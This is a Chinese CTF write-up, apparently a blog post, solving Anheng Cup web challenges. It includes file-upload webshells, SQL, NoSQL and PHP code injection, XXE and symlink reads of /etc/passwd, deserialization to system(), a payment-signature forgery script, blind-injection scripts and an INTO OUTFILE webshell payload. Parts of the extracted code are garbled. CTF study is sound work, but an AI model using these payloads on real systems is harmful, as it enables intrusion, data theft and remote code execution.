安恒杯赛Write Up---(十二月赛)

六月赛

WEB

ezupload

这道题可以看出是一道文件上传,有意识的就可以联想到通常做的文件上传题目是不能上传PHP文件的,这道试试


安恒杯赛Write Up---(十二月赛)_第1张图片
image.png

很明显只能上传图片,那就按正常思路去搞了,
我刚开始将一句话木马php文件后缀改为图片,但是无法上传成功的。
所以猜测这道题是识别图片内容,而不仅仅是改后缀名,只有图片内容是图片才能上传成功。这里随便上传一张图片试试


安恒杯赛Write Up---(十二月赛)_第2张图片
image.png

这是上传成功的结果,这里我上传的是.jpg图片,成功后却是peg,又上传其他的也是peg。这里对路径很好奇,感觉路径中是一串加密字符串,搞了搞之后没发现什么,看来是多想了,,
安恒杯赛Write Up---(十二月赛)_第3张图片
image.png

很好奇打开了路径内容发现都是别人上传的文件,过滤的方法也很多种,可以尝试尝试别人的。但这里我已经找到方法了,既然是识别图片内容,将图片后缀改为php也没关系,然后我们将一句话木马放进图片中,然后在过滤掉peg后缀,将后缀名改为.peg.php


安恒杯赛Write Up---(十二月赛)_第4张图片
image.png
安恒杯赛Write Up---(十二月赛)_第5张图片
image.png

安恒杯赛Write Up---(十二月赛)_第6张图片
image.png

抓包可以看到已经上传了含有一句话木马的图片,而且后缀也是php


安恒杯赛Write Up---(十二月赛)_第7张图片
image.png

上传成功

打开菜刀


安恒杯赛Write Up---(十二月赛)_第8张图片
image.png

安恒杯赛Write Up---(十二月赛)_第9张图片
image.png

flag已经出来了。。

研究生的秘密

题目提示缺少参数,由此可以想到参数问题

安恒杯赛Write Up---(十二月赛)_第10张图片
image.png

点击列表时毫无反应但是可以看到http://101.71.29.5:10002/index.php?title=Mysql教程
于是便可以从参数title入手,当参数为正常的字母数字汉字时,都可以返回正确结果
若输入某个宽字节字符,例如%df

安恒杯赛Write Up---(十二月赛)_第11张图片
image.png

则会报错
非关系型数据库%df’报错
传入title[
ne:1}})
也就是返回参数不等于1的第一个文档
其实这里不给参数赋值也能返回flag,,
安恒杯赛Write Up---(十二月赛)_第12张图片
image.png

MongoDB

mongoDB中findOne()的用法介绍

定义:db.collection.findOne(query, projection)
返回一个文档满足指定的查询条件。如果多个文档满足查询,该方法返回第一个文档根据自然秩序反映了磁盘上文件的顺序。在限制集合,自然秩序是一样的插入顺序。如果没有文档满足查询,方法返回null。

find【查询条件ne表示不相等

mongodb条件操作符,"lte", "gte", "$ne"就是全部的比较操作符,对应于"<", "<=", ">", ">=","!="。

mynote

这题我不会,只能根据大佬的去复现
这题注册后发现没有什么用,就一个文件上传值得重视
上传图片后发现仍没什么用,找不到路径


安恒杯赛Write Up---(十二月赛)_第13张图片
image.png

点空报错后,爆出了路径,仍没什么用处
御剑扫描后台后发现

安恒杯赛Write Up---(十二月赛)_第14张图片
image.png

robots.txt文件
http://101.71.29.5:10000/robots.txt

安恒杯赛Write Up---(十二月赛)_第15张图片
image.png

同时
http://101.71.29.5:10000/upload/

安恒杯赛Write Up---(十二月赛)_第16张图片
image.png

到这里看到了FLAG,flag这么容易出来了吗?


image.png

提交后发现并不对,仔细看flag的意思
这是一个假flag,所以还要继续找
回头看看,


安恒杯赛Write Up---(十二月赛)_第17张图片
image.png

上传的图片在picture中可以找到,还是从这点入手看看吧
,burp抓包


安恒杯赛Write Up---(十二月赛)_第18张图片
image.png

picture中应该是base64加密,解码后
YToxOntpOjA7czoxNjoiMzYwd2FsbHBhcGVyLmpwZyI7fQ%3D%3D
解码: a:1:{i:0;s:16:"360wallpaper.jpg";}
Ü

picture中存在反序列化漏洞
已知/flag.php,抓包把a:1:{i:0;s:16:"360wallpaper.jpg";}改成a:1:{i:0;s:14:”../../flag.php”;},然后base64编码就可以读出flag.php

a:1:{i:0;s:14:"../../flag.php";}
base64编码:YToxOntpOjA7czoxNDoiLi4vLi4vZmxhZy5waHAiO30=
安恒杯赛Write Up---(十二月赛)_第19张图片
image.png
PD9waHAKCiRmbGFnID0gImZsYWd7TjRtZV9zUGFjNF9Jc19JbnQzcjNzdDFuZ30iOwplY2hvICJmbGFne1RoaXNfMVNfQV9GNGtlX2YxYUd9IjsK
base64解码:

flag{N4me_sPac4_Is_Int3r3st1ng}

大佬的第二种解法
反序列化传入一个错的序列化字符串报出上传文件的路径,利用文件上传漏洞上传php文件获取webshell,同样获取flag
反序列化传入一个错的序列化字符串报出上传文件的路径
比如:a:1:{i:0;s:16:"360wallpaper.jpg";}这是存在的序列化字符串,现在改为错的
a:1:{i:0;s:5:"1.jpg";},抓包base64编码执行后,不存在该1.jpg图片,所以会报错


安恒杯赛Write Up---(十二月赛)_第20张图片
图片.png

安恒杯赛Write Up---(十二月赛)_第21张图片
图片.png

http://101.71.29.5:10000//upload/3dc5ff6b339c9f94c718b97b661c3afe/
接下来上传一句话木马获取webshell
直接上传php文件不行,内容为图片就行,后缀名可以为php,因此需要上传一个包含php一句话木马的图片后缀名改为php就行了

安恒杯赛Write Up---(十二月赛)_第22张图片
图片.png

然后获取webshell,flag就出来了

九月赛

web

神奇的CMS

这题进去后看到的是一个框架,但需要登录密码进后台
直接用burp弱密码爆破进后台
admin
admin123
进去之后发现两行字体


安恒杯赛Write Up---(十二月赛)_第23张图片
image.png

一行压缩包,一行提示flag在/tmp下,很明显这是出题人的提示
接着看其他功能,只有一个添加图片的地方


安恒杯赛Write Up---(十二月赛)_第24张图片
image.png

与上面两行很相似

下载压缩包后,发现是代码,接着就是代码审计
查看图片位置

  public function actionShow(){
        $template = '

图片内容为:

图片ID:{cms:id}
图片名称:{cms:name}
图片地址:{cms:pic}'; if (isset($_GET['id'])) { $model = new Content(); $res = $model->find()->where(['id' =>intval($_GET['id'])])->one(); $template = str_replace("{cms:id}",$res->id,$template); $template = str_replace("{cms:name}",$res->name,$template); $template = str_replace("{cms:pic}",$res->url,$template); $template = $this->parseIf($template); echo $template; }else{ return json_encode(['error'=>'id error!']); } }

跟进函数parseIf

安恒杯赛Write Up---(十二月赛)_第25张图片
image.png

参考文章

https://www.anquanke.com/post/id/153402
然后我们添加图片为

名字   name (任意)
地址   {if:1)$GLOBALS['_G'.'ET'][sky]($GLOBALS['_G'.'ET'][cool]);die();//}{end if}

还不太明白这个,先留坑


安恒杯赛Write Up---(十二月赛)_第26张图片
image.png

上传之后显示错误,但是注意到url上id=204,利用上面的代码注入


安恒杯赛Write Up---(十二月赛)_第27张图片
image.png

ls命令执行后可见上面所有文件,这时想到上面提示的flag 在/tmp/里

http://101.71.29.5:10000/web/index.php?r=content%2Fshow&id=204&sky=system&cool=cat%20/tmp/flag

安恒杯赛Write Up---(十二月赛)_第28张图片
image.png

babybypass

安恒杯赛Write Up---(十二月赛)_第29张图片
image.png

这题拿到后见很熟悉就用paylaod直接做,结果做不出来,原来跟之前的不一样,$也被过滤了,使用php不用字母数字下划线写shell的方法不管用了,不过有大佬用其他方法做出来了
巧妙地利用linux下的通配符
参考大佬的极限利用https://www.aqbeta.com/data/201808/153380340813497.html?tdsourcetag=s_pctim_aiomsg
这里也是很有技巧的点,在Linux系统中,是支持正则的,某些你忘记某个字符情况下,你可以使用? * %等字符来替代,当然这里想要执行命令,需要极限的利用这个方法,经过测试:
linunx下

/???/??? => /bin/cat

问题来了,知道通配符能找到目录,但怎么执行命令取回结果呢?要想得到读文件或者命令执行的内容,我们需要一个用来输出的东西,但是我们又没有常规的函数,经过了一段时间的思考,想到了,这个方式。
ls
执行ls命令
大家可能用过这个方法,但是说真的不是很容易想起来,而且关键的是这个方式在php里默认是开着的。

我们找到了这个关键的正则和命令执行方法,我们先来读一下源码

$_=`/???/???%20/???/???/????/?????.???`;?>
"/bin/cat /var/www/html/index.php"

但是发现超出长度了,然后我们继续缩短长度,想到了用*来匹配文件夹下的所有文件:

$_=`/???/???%20/???/???/????/*`;?>

但是没有$和_
?> 是为了闭合前面的code然后去执行后面的php语句
改进为

?>

得到源码


安恒杯赛Write Up---(十二月赛)_第30张图片
image.png

发现关键点

function getFlag(){
    $flag = file_get_contents('/flag');
    echo $flag;
}

我们知道了flag的文件位置在根目录,所以直接利用通配符去读flag文件就好

?>

http://101.71.29.5:10001/?code=?>/???/???%20/????;?>

安恒杯赛Write Up---(十二月赛)_第31张图片
image.png
安恒杯赛Write Up---(十二月赛)_第32张图片
image.png

十月

这次的web题都真坑,看了大佬的writeup还是不会,无奈看了**的writeup

web1 CoolCms

提示:xxx,你觉得有问题的地方都试试呀
看到题后我以为有xss和sql注入,试了下xss,可以,但没卵用,sql注入倒是有很大用处,后来发现也可以xml注入,进行xxe攻击获取flag

1.

尝试union select注入
发现过滤了, or,unionselect等多个关键词


安恒杯赛Write Up---(十二月赛)_第33张图片
image.png

构造:

?id=-1' union%0bselect * from (select 1)x join (select i.4 from (select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d union%0bselect * from flag)i limit 1 offset 1)y join (select 3)k join (select 3)l—1
安恒杯赛Write Up---(十二月赛)_第34张图片
image.png

获取flag目录

2.利用xxe

安恒杯赛Write Up---(十二月赛)_第35张图片
image.png

简单xml尝试,也是题目提示
然后利用file协议进行xml读取文件




安恒杯赛Write Up---(十二月赛)_第36张图片
image.png

能够读到passwd内容




安恒杯赛Write Up---(十二月赛)_第37张图片
image.png

web2 easy audit

这题打开不知道干啥的,但是查源代码有提示


image.png

给了个func1参数,试了下func1=1,2,3,,,,


安恒杯赛Write Up---(十二月赛)_第38张图片
image.png

除了前面数字变之外其他没什么用,然后试了下func1=phpinfo

安恒杯赛Write Up---(十二月赛)_第39张图片
image.png

结果可以,很明显参数是可以执行函数的
参考文章https://www.jb51.net/article/42890.htm

输入参数 func1=get_defined_functions ,全局搜索一下flag,成功得到了了这个函数jam_source_ctf_flag ,调用一下这个函数,成功拿到flag.php的源码,于是开始审计

a = isset($_GET['a'])?$_GET['a']:'123'; }
 function gen_str($m=6){ $str = ''; $str_list ='abcdefghijklmnopqrstuvwxyz'; for($i=0;$i<$m;$i++){ $str .=$str_list[rand(0,strlen($str_list)-1)]; } return $str; } function GiveYouTheFlag(){include 'real_flag.php'; $secret = $this->gen_str(); if($secret === $this->a){echo $real_flag;//echo $flag } } function __invoke(){ GiveYouTheFlag(); } }echo rand().''; $_flag = new jam_flag;

if(isset($_POST['flag']) && $_POST['flag'] === 'I want the flag'){ include'real_flag.php'; $_flag->GiveYouTheFlag(); }
?>

看到中间有一大段随机数的代码(实际上没什什么用。。),只要我们满足this->a 的条件就可以出flag,但实际上我们可以用get_defined_vars这个函数(因为访问real_flag.php可以看到提示$flag='xxxx',说明可以通过查看所有变量量的方法获取flag),再满足一下post的条件调用giveyoutheflag(为了了将flag给include进来)

最后payload
func1=get_defined_vars post:flag=I want the flag

web3 shop

这题最坑,要大量的代码审计,最后运行的python脚本还必须3.6以上才行,绕了好多弯
给了源码,是用python框架写的
注册账号后


安恒杯赛Write Up---(十二月赛)_第40张图片
image.png

初识给了300积分
但可以看到flag卖888,不可能买到

代码审计
关键代码

@login_required
def payOrder(request, orderid):
    o = get_object_or_404(Order, id=orderid, user=request.user, status=Order.ONGOING)
    form = {
        'order_id': o.id,
        'buyer_id': o.user.id,
        'good_id': o.good.id,
        'buyer_point': o.user.profile.point,
        'good_price': o.good.price,
        'order_create_time': o.create_time.timestamp()
    }
    str2sign = RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + '&'.join([f'{i}={form[i]}' for i in form]).encode('utf-8')
    #print(str2sign)
    sign = md5(str2sign).hexdigest()
    #print(sign)
    return render(request, 'payment/confirm.html', {'form': form, 'sign': sign})

@login_required
def cleanCanceledOrder(request):
    o = Order.objects.filter(user=request.user, status=Order.CANCELED).delete()
    return redirect('shop:myOrder')

@csrf_exempt
def checkPayment(request):
    # print(request.body)
    ret = {'result': '未知错误', 'status': 'danger'}
    sign = request.GET.get('signature', '')
    if md5(RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + request.body).hexdigest() == sign:
        o = get_object_or_404(Order, id=request.POST.get('order_id'))
        g = get_object_or_404(Good, id=request.POST.get('good_id'))
        u = get_object_or_404(User, id=request.POST.get('buyer_id'))
        # 检查订单是否为待支付状态
        if o.status != Order.ONGOING:
            ret['result'] = f'订单 {o.id} 状态异常,可能已完成或已取消'
        # 检查商品是否可购买
        elif g.available != True or g.amount <= 0:
            ret['result'] = f'商品 {g.id} 暂时不可购买,可能库存不足'
        # 检查用户可用积分是否足够
        elif u.profile.point < g.price:
            ret['result'] = f'用户 {u.username} 可用积分不足,无法完成支付'
        else:
            if u.is_staff != True:
                u.profile.point -= g.price
                u.save()
            g.amount -= 1
            if g.name == 'FLAG':
                o.message = REAL_FLAG
            else:
                o.message = f'fake_flag{{{md5(urandom(32)).hexdigest()}}}
(购买“FLAG”才能获得真正的 flag)' if g.amount <= randint(0, 100): g.amount += randint(100, 200) g.save() o.status = Order.FINISHED o.save() ret['result'] = f'订单 {o.id} 支付成功!' ret['status'] = 'success' else: ret['result'] = '签名不正确,数据可能被篡改!' return render(request, 'payment/result.html', ret)
image.png

购买的信息都是有上面那些id参数传进去的
通过抓包查看这些参数


image.png

可以看到这些参数就是上面购买的信息id
查看源码的数据库信息,可以看到管理员admin 的积分有3000,而普通用户只有300,直接登管理员进后台很明显不可取,根据源码我们可以利用这种逻辑漏洞修改为管理员id让管理员帮我们买,通过表可以查出管理员id为16

直接修改buyer_id=16是不行的,


安恒杯赛Write Up---(十二月赛)_第41张图片
image.png

这就是返回的数据,因为他会对sign的MD5值进行校检,不对是不会成功的

安恒杯赛Write Up---(十二月赛)_第42张图片
image.png
sign = request.GET.get('signature', '')
    if md5(RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + request.body).hexdigest() == sign:
@login_required
def payOrder(request, orderid):
    o = get_object_or_404(Order, id=orderid, user=request.user, status=Order.ONGOING)
    form = {
        'order_id': o.id,
        'buyer_id': o.user.id,
        'good_id': o.good.id,
        'buyer_point': o.user.profile.point,
        'good_price': o.good.price,
        'order_create_time': o.create_time.timestamp()
    }
    str2sign = RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + '&'.join([f'{i}={form[i]}' for i in form]).encode('utf-8')
    #print(str2sign)
    sign = md5(str2sign).hexdigest()
    #print(sign)
    return render(request, 'payment/confirm.html', {'form': form, 'sign': sign})


from django.urls import reverse_lazy

LOGIN_REDIRECT_URL = reverse_lazy('shop:index')

LOGIN_URL = reverse_lazy('account:login')

with open('secret.key', 'rb') as f:
    RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE = f.read()

REAL_FLAG = ''


获取sign的关键代码,上面已经贴出
这里的RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE其实是读取了sercet.key文件,查看文件


image.png

所以key是已知的

根据这些来编写脚本得出admin的sign值

from hashlib import md5

RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE = open('e://secret.key','rb').read()
print(RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE)
form = {
        'order_id': '144' ,
        'buyer_id': '16' ,
        'good_id': '38' ,
        'buyer_point': '300' ,
        'good_price': '888' ,
        'order_create_time': '1541695334.352802' 
    }   
str2sign = RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + '&'.join([f'{i}={form[i]}' for i in form]).encode('utf-8')         

sign = md5(str2sign).hexdigest()
print(sign)
安恒杯赛Write Up---(十二月赛)_第43张图片
image.png

根据购买信息修改id,把buyer_id改为管理员的--16

获得sign值


image.png

然后抓包修改sign,用admin去购买


安恒杯赛Write Up---(十二月赛)_第44张图片
image.png

然后会发现


安恒杯赛Write Up---(十二月赛)_第45张图片
image.png
安恒杯赛Write Up---(十二月赛)_第46张图片
image.png

web4 手速要快

安恒杯赛Write Up---(十二月赛)_第47张图片

进去之后
是文件上传
但是不能上传php文件,但上传1.abc,1.cbc这种文件都可以,可知是利用黑名单将后缀为php,PHP等文件后缀给过滤掉了
因此将附带一句话木马的文件改为以.php.xxx的形式,发现可以成功上传,因为apache的判定机制为从右到左,若该文件后缀无效会想左判定
,,成功绕过

image.png
image.png

爆出文件路径,菜刀获取shell

安恒杯赛Write Up---(十二月赛)_第48张图片
image.png

十一月

Web

1.手速要快

不说了,十月份的原题,就在上面

2.image_up

题目打开是个登录页面,注意
http://101.71.29.5:10043/index.php?page=login
所以尝试php伪协议读取文件
http://101.71.29.5:10043/index.php?page=php://filter/read=convert.base64-encode/resource=login

image.png

base64解密





  
  Login Form

    

  



      






得login源码,看关键点,如果账号密码只要存在就会跳转到upload页面,说明随意输都行了

进去之后是文件上传页面,继续读文件源码
http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=upload





  
  Upload Form

    

  



      







看到php源码后,第一想的就是上传带有一句话木马的图片
但碰到的问题就是

$path = "uploads/".md5($temp[0].time()).".".$extension;

需要提前预测time()
看了大佬的wp,发现多线程爆破没有用,不是简单地time预测
提示:在这时间统一的世界里,上传图片试试吧
时区问题?尝试time()+8*3600
随机可以预测到图片,但保存图片发现并没有成功,猜想是否强行拼接了.php,于是读index

发现强行拼接了.php,
大佬的想法
zip://
直接zip协议即可

创建一个MUMA.php的文件,内容为

然后压缩为MUMA.zip,改后缀名为MUMA.jpg

然后用脚本上传文件,预测出文件名

import time
import requests
import hashlib

url="http://101.71.29.5:10007/"
def md5(st):
    m =hashlib.md5()
    m.update(st.encode('utf-8'))
    return m.hexdigest()
files = {
    "image":("avatar.jpg",open("MUMA.jpg","rb"))
}
t = int(time.time()+8*3600)
requests.post(url=url+"index.php?page=upload", files=files)
for i in range(t-200,t+200):
    path = "uploads/"+md5("avatar"+str(i))+".jpg"
    status = requests.get(url=url+path).status_code
    if status == 200:
        print (path)
        break

uploads/893171c6e8f72075f9889550b987db87.jpg
爆出文件名后,去测试一下,利用zip://协议读取一下phpinfo

安恒杯赛Write Up---(十二月赛)_第49张图片

发现读取成功

菜刀getshell


安恒杯赛Write Up---(十二月赛)_第50张图片
image.png

3.ezsql

根据题目提示可知是一道sql注入题


安恒杯赛Write Up---(十二月赛)_第51张图片
image.png

注册后登陆进去可看到信息,根据以往判断应该可以对id进行注入然后回显内容
不过这题在尝试之后发现过滤了很多敏感词
最后发现load_file可以在这用,就可以用它来读取文件内容了
可以尝试利用load_file读取/var/www/html/index.php
因为/被过滤了所以利用十六进制编码绕过


安恒杯赛Write Up---(十二月赛)_第52张图片
image.png

然后会发现这句话已经成功传进去了,只不过返回值是0,所以会看到id=1的admin信息,如果读取内容的话读取到的第一个字符应该是<,所以为3c,然后后面加通配符%去依次读取后面内容

安恒杯赛Write Up---(十二月赛)_第53张图片
image.png

可以看到只有标签,没有内容,应该是已经读取到代码所以无回显内容,写脚本依次读取代码
福脚本:

import requests
import string
import binascii

hex = lambda s: binascii.hexlify(s)
char = '0123456789ABCDEF'
filename = '/var/www/html/index.php'
c= ''
#print(hex(filename))
url = 'http://101.71.29.5:10015/user/user.php?id=2-if(hex(load_file(0x%s))like(0x%s),1,2)'

for _ in xrange(10000):
    for i in char:
        payload = c+ i + '%'
        _url = url % (hex(filename), hex(payload))
        r=requests.get(_url,cookies={'PHPSESSID':'3689a2913550ce0558362e9eb6541734'})
        if '2018' in r.content:
            print '.....' + payload
            c = c+ i
            break
            print c
            
安恒杯赛Write Up---(十二月赛)_第54张图片
image.png

16进制转码后,截取部分内容,看PHP代码会发现有config.php


    
    
    
    
    
    
    
    

根据php代码继续读config.php文件看看有什么
然后用上面脚本读取/var/www/html/config.php

$p;
}
class Config{
    private $config;
    private $path;
    public $filter;
    public function __construct($config=""){
        $this->config = $config;
        echo 123;
    }
    public function getConfig(){
        if($this->config == ""){
            $config = isset($_POST['config'])?$_POST['config']:"";
        }
    }
    public function SetFilter($value){
//        echo $value;
    $value=waf_exec($value); 
        var_dump($value);
    if($this->filter){
            foreach($this->filter as $filter){
                $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
            }
            $this->filter = array();
        }else{
            return false;
        }
        return true;
    }
    public function __get($key){
        //var_dump($key);
    $this->SetFilter($key);
        die("");
    }
}

发现是一波反序列化的操作,注意到函数

   public function __get($key){
        //var_dump($key);
    $this->SetFilter($key);
        die("");
    }

以及

if(isset($_GET['p'])){
    $p=$_GET['p'];
    $config->$p;
}

发现可控值,跟踪SetFilter

发现

    $value=waf_exec($value); 
        var_dump($value);
    if($this->filter){
            foreach($this->filter as $filter){
                $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);

大概是这么个意思吧
index.php -->cookie[CONFIG] -->config.php-->unserialize(base64_decode($config));
然后如果存在这个(class config)类,则会接受参数p
利用上面反序列化漏洞,于是构造


mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        // echo $this->mdzz;
    }
}
$m = new Config();
$m->filter = array('system');
echo base64_encode(serialize($m));

?>

然后在cookie中添加

CONFIG:Tzo2OiJDb25maWciOjE6e3M6NjoiZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX0=
安恒杯赛Write Up---(十二月赛)_第55张图片
image.png

可以看到目录名已经显示出来了,要列出目录下所有文件才能读到flag,然后/和空格被过滤,这里使用$IFS进行绕过空格


安恒杯赛Write Up---(十二月赛)_第56张图片
image.png

看到flag.php,读取内容,这里通配符也被过滤,试了官方的没弄出来,用一位师傅的grep做出来了


安恒杯赛Write Up---(十二月赛)_第57张图片
image.png

4.interesting web

打开是一个上传的界面,界面显示只有admin可以上传压缩包,普通用户只能上传jpg图片,从这可以看出这题并不是考上传jpg绕过然后getshell,应该是先拿到管理员权限,再看一下会有找回密码功能,而找回密码需要token值,我们试一下找回密码


安恒杯赛Write Up---(十二月赛)_第58张图片
image.png

在响应头会发现seesion值,

eyJsb2dpbiI6dHJ1ZSwidG9rZW4iOnsiIGIiOiJNR1F6TldJek5qTTNNV1V5WkdFelpUaGpaalJtWTJWaFlUSmlZemMyWTJZPSJ9LCJ1c2VybmFtZSI6ImFkbWluIn0.DuDkbQ.iWgcB_Axe1CwTfadaH5e25rBNr8

前面第一串是base64
解密后

{"login":true,"token":{" b":"MGQzNWIzNjM3MWUyZGEzZThjZjRmY2VhYTJiYzc2Y2Y="},"username":"admin"}

会发现token值,然后解密token值,就可以利用token修改管理员密码了,至于为什么会发这发现token,熟悉flask框架的人应该知道python flask框架中的token会显示在浏览器端,所以可以利用这一点修改admin密码,获得管理员权限

然后这时我们可以上传tar包,为什么要获得权限上传tar包呢,因为这里可以利用软连接,构造

ln -s /etc/passwd 223.jpg
tar cvfp 1.tar 223.jpg
安恒杯赛Write Up---(十二月赛)_第59张图片
image.png

上传解压成功

然后

curl 101.71.29.5:10010/download/223.jpg
安恒杯赛Write Up---(十二月赛)_第60张图片
image.png

5.write a shell

这题打开也是一个测试平台,有注册登录编辑头像功能,首先注册测试了一下是否存在注入


安恒杯赛Write Up---(十二月赛)_第61张图片
image.png

发现'被转义,字符也有替换,应该是有注入的机会

安恒杯赛Write Up---(十二月赛)_第62张图片
image.png

在用户信息页面存在注入,经测试发现把一些关键字符替换成@了,但ascii mid load_file if这些可以用


安恒杯赛Write Up---(十二月赛)_第63张图片
image.png

可以看到判断语句已经传进去了,返回值为1,接下来可以利用这个方法去读取源代码
利用load_file读取/var/www/html/user/user.php
十六进制编码绕过,看看能不能读到

?id=ascii(mid(load_file(0x2f7661722f7777772f68746d6c2f757365722f757365722e706870),1,1))

先了解一下mid函数,MID() 函数用于从文本字段中提取字符。
有三个参数:
column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本
所以上面代码就是利用load_file去读取内容,然后从第一个字符读取,成功后返回一个ascii值。
试一下,


安恒杯赛Write Up---(十二月赛)_第64张图片
image.png

可以看到id返回60,然后我们去读第二个字符


安恒杯赛Write Up---(十二月赛)_第65张图片
image.png

返回63,第三个返回112。然后ascii对应的字符是


image.png

说明已经读到php代码了,一一读很麻烦,所以上脚本读取
自己写的脚本,菜鸟,勿喷,,

import requests
from bs4 import BeautifulSoup
import re

for i in range(1,1000):
    try:
        url = 'http://101.71.29.5:10011/user/user.php?id=ascii(mid(load_file(0x2f7661722f7777772f68746d6c2f757365722f757365722e706870),'+str(i)+',1))'
        r = requests.Session()
        q = r.get(url=url,cookies={ 'PHPSESSID':'l7b9sqs506vjqkioep3qu1rgt0'})
        html = q.text
        html1 = BeautifulSoup(html,'html.parser')
#print (q.text)
        html2 =html1.find_all('h1')
        num = re.sub(r'user_id:', "", html2[0].text)
        num1 = int(num)
        print (chr(num1),end='')
    except:
        continue

跑出来user.php

user_id:'.$row[0]."

user_name:".$row[1]."


¨�����".$row[4]."

"; } mysqli_free_result($result); }while(mysqli_next_result($connect)); die(); } mysqli_close($connect); ?>

读出源代码后发现没有什么可注入的点,注意到在传入id的时候,要进行waf的转化,像一些敏感字符可能被转为@,后来经测试发现可以读取用户权限
查看用户权限sql语句:

select GRANTEE,PRIVILEGE_TYPE,3,4,IS_GRANTABLE from information_schema.USER_PRIVILEGES

然后经msql char()

CHAR(115, 101, 108, 101, 99, 116, 32, 71, 82, 65, 78, 84, 69, 69, 44, 80, 82, 73, 86, 73, 76, 69, 71, 69, 95, 84, 89, 80, 69, 44, 51, 44, 52, 44, 73, 83, 95, 71, 82, 65, 78, 84, 65, 66, 76, 69, 32, 102, 114, 111, 109, 32, 105, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110, 95, 115, 99, 104, 101, 109, 97, 46, 85, 83, 69, 82, 95, 80, 82, 73, 86, 73, 76, 69, 71, 69, 83)

Paylpoad:

id= 8;set |s=concat(CHAR(115, 101, 108, 101, 99, 116, 32, 71, 82, 65, 78, 84, 69, 69, 44, 80, 82, 73, 86, 73, 76, 69, 71, 69, 95, 84, 89, 80, 69, 44, 51, 44, 52, 44, 73, 83, 95, 71, 82, 65, 78, 84, 65, 66, 76, 69, 32, 102, 114, 111, 109, 32, 105, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110, 95, 115, 99, 104, 101, 109, 97, 46, 85, 83, 69, 82, 95, 80, 82, 73, 86, 73, 76, 69, 71, 69, 83));PREPARE s1 FROM |s;EXECUTE s1;
安恒杯赛Write Up---(十二月赛)_第66张图片
image.png

可看到该用户存在读写权限
查看文件读写路径
sql语句

show variables like  '%secure_file_priv%'

Payload:

id=8;set |s=concat(CHAR(115, 104, 111, 119, 32, 118, 97, 114, 105, 97, 98, 108, 101, 115, 32, 108, 105, 107, 101, 32, 32, 39, 37, 115, 101, 99, 117, 114, 101, 95, 102, 105, 108, 101, 95, 112, 114, 105, 118, 37, 39));PREPARE s1 FROM |s;EXECUTE s1;
安恒杯赛Write Up---(十二月赛)_第67张图片
image.png

然后重点是,我们找一个可写的目录,然后写一个一句话shell上传,然后菜刀进后台
查看框架,我们看到的功能还有一个就是上传头像,而上传头像的目录我们又知道,/favicon/*.jpg,所以路径就是/var/www/html/favicon/,然后传进去带有一句话的1.php,
sql语句:

select '' into outfile '/var/www/html/favicon/1.php'

payload:

id=8;set |s=concat(CHAR(115, 101, 108, 101, 99, 116, 32, 39, 60, 63, 112, 104, 112, 32, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 120, 93, 41, 59, 63, 62, 39, 32, 105, 110, 116, 111, 32, 111, 117, 116, 102, 105, 108, 101, 32, 39, 47, 118, 97, 114, 47, 119, 119, 119, 47, 104, 116, 109, 108, 47, 102, 97, 118, 105, 99, 111, 110, 47, 49, 49, 46, 112, 104, 112, 39));PREPARE s1 FROM |s;EXECUTE s1;

然后查看http://101.71.29.5:10011/favicon/1.php
传进去后,上菜刀连接后台

6.好黑的黑名单

打开浏览器,访问目标主机。如下图


安恒杯赛Write Up---(十二月赛)_第68张图片
image.png

根据提示可知,题目有黑名单,发现吃面去吧是一个链接,点击如下图
http://101.71.29.5:10008/show.php?id=1

安恒杯赛Write Up---(十二月赛)_第69张图片
image.png

可以看到传参的地方。初步测试可知页面一共有三种回显结果
1.山西油泼面的价钱为20 或郑州或,,
2.想让我下面给你吃?
3.这么坏?想让我下面给你吃吗?XD

分析
回显1为正常页面,
回显2为根据传入的id查询结果为空的回显,
回显3则是被黑名单检测到的回显。

测试什么类型的注入
初步测试可知空格,单引号,双引号都被过滤。空格可以使用%0a代替。测试%0aand%0a1,然后测试%0aand%0a0 1返回正确结果,0返回空
得出初步结论此处存在整型注入。

构造payload
逻辑运算符都被过滤并且like和regexp都无法使用的情况下,就需要一个小技巧between and,用between and来代替逻辑运算符。betweenand的基本用法百度可知。如果要应用到盲注中要注意一些细节
用法:

安恒杯赛Write Up---(十二月赛)_第70张图片
image.png

Payload由上可构造paylaod如下
?id=2 and (select (selectdatabase()) between 'a' and 'z')但是黑名单还过滤了单引号,索性,betweenand支持16进制,所以将字符改为16进制即可如下

?id=2%0aand%0a(select%0a(select%0adatabase()%0a)%0abetween%0a0x61%0aand%0a0x7a

根据payload编写爆破脚本,这里有三个脚本,不过思路都差不多

import requests
import binascii
import string
test = ',0123456789abcdefghijklmnopqrstuvwxyz{|}~'
res = ''
flag = ''
for num in range(1,500):
    for x in test:
        bet_1 = bytes(flag + x, encoding='utf-8')
        bet_2 = bytes(flag + '_',encoding='utf-8')
        #数据库 web
        #payload = "?id=2%%0aand%%0a(select%%0a(select%%0adatabase()%%0a)%%0abetween%%0a0x%s%%0aand%%0a0x%s)"%(binascii.b2a_hex(bet_1).decode(),binascii.b2a_hex(bet_2).decode())
        #爆表 admin , falggg, menu
        payload = "?id=2%%0aand%%0a(select%%0a(select%%0agroup_concat(table_name)%%0afrom%%0ainformation_schema%%0a.%%0atables%%0awhere%%0atable_schema%%0abetween%%0a0x776562%%0aand%%0a0x776562%%0a)%%0abetween%%0a0x%s%%0aand%%0a0x%s)"%(binascii.b2a_hex(bet_1).decode(),binascii.b2a_hex(bet_2).decode())
        #爆列
